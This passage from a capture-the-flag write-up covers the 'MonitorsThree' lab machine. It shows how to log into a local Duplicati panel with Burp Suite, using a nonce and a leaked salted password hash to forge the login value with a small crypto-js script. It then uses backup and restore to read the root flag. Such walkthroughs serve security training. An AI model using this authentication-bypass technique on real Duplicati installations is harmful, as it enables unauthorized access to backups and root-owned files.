Sec-Fetch-Site: same-origin

get-nonce=1

Before clicking on Forward click on Action and then on Do Intercept -> Intercept to this Request. This is needed. We could use Repeater to see the response, but if we use response we will be generating a new nonce value every time we send a request.

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Date: Thu, 26 Sep 2024 03:57:12 GMT
Content-Length: 140
Content-Type: application/json
Server: Tiny WebServer
Connection: close
Set-Cookie: session-nonce=1jjF8F1pYTd9Qg80oVpgAc2qil2fgIT32KZlbVSAZIY%3D; expires=Thu, 26 Sep 2024 04:07:12 GMT;path=/; 

{
  "Status": "OK",
  "Nonce": "WRmA2e/L5mm3OEFLgH75qZ2g7cKSQZ//w+m48HDMyvM=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}

We get a nonce value.

We can then make a simple JavaScript script to view the password (we need to install crypto-js library running npm install crypto-js):

const CryptoJS = require('crypto-js');

var nonce = 'WRmA2e/L5mm3OEFLgH75qZ2g7cKSQZ//w+m48HDMyvM=';
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(nonce)) + saltedpwd).toString(CryptoJS.enc.Base64);

console.log(noncedpwd);

and run it:

❯ node Duplicati_decoder.js

P4zNk10leTNvjhb9tJRa4IDj7CBz4MibJ0QE48XGXk8=

Now, with this “password” we can go back to the intercepted request with Burpsuite when we attempted to log in to Duplicati (where we extracted the nonce value). Clicking on Forward, again shows now the request:

POST /login.cgi HTTP/1.1
Host: 127.0.0.1:8200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 61
Origin: http://127.0.0.1:8200
DNT: 1
Connection: close
Referer: http://127.0.0.1:8200/login.html
Cookie: xsrf-token=0nNdl4YOWOjuiQxtYj6mL9ykzVjnm5c8zufKPlDxkcY%3D; session-nonce=8NemSiyTFwhOE8KHzEGqTggV75Nn4uz631T3Hc%2B1cJA%3D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

password=Zko39PZM%2FrtIX6JXBjMPvJ9MQV%2FZjCSbd1%2Ffegh6vRE%3D

Here, we will change the password value to the string we have obtained with our script, in my case the parameter is now:

password=P4zNk10leTNvjhb9tJRa4IDj7CBz4MibJ0QE48XGXk8%3D

where this is the password found, which I have also URL encoded.

MonitorsThree 12

Now just click on Forward to all the requests and deactivate Intercepter.

We are inside the panel:

MonitorsThree 13

Then we can go to Add Backup, Configure a new backup and add a new one:

MonitorsThree 14

We can then select a path to save this backup. For example, /home/:

MonitorsThree 15

We can then select a file to backup. There is a /source directory that contain a copy of some system files. We can then select /source/root/root.txt:

MonitorsThree 16

We can now just press Next and Save. If this worked this should have been created a task that is visible from the main panel (it happened to me that Duplicati service was bugged and it never created the task after clicking on Save, so I had to restart the machine and it worked). Going to the main panel should now show the added task/backup. We need to click on Run now option for the created backup:

MonitorsThree 19

Then, we can go to Restore tab at the left side and select our task:

MonitorsThree 20

Select the file to generate the backup:

MonitorsThree 20

and select a route to deploy it. We can use a path like %HOME%:

MonitorsThree 21

Finally click on Restore.

We see no errors. So the file should be somewhere in the system, we can use find command to find it:

marcus@monitorsthree:~$ find / -name "root.txt" -type f 2>/dev/null

/opt/duplicati/config/root.txt

and there it is.

We can finally read the /root flag:

marcus@monitorsthree:~$ cat /opt/duplicati/config/root.txt

380******************

~Happy Hacking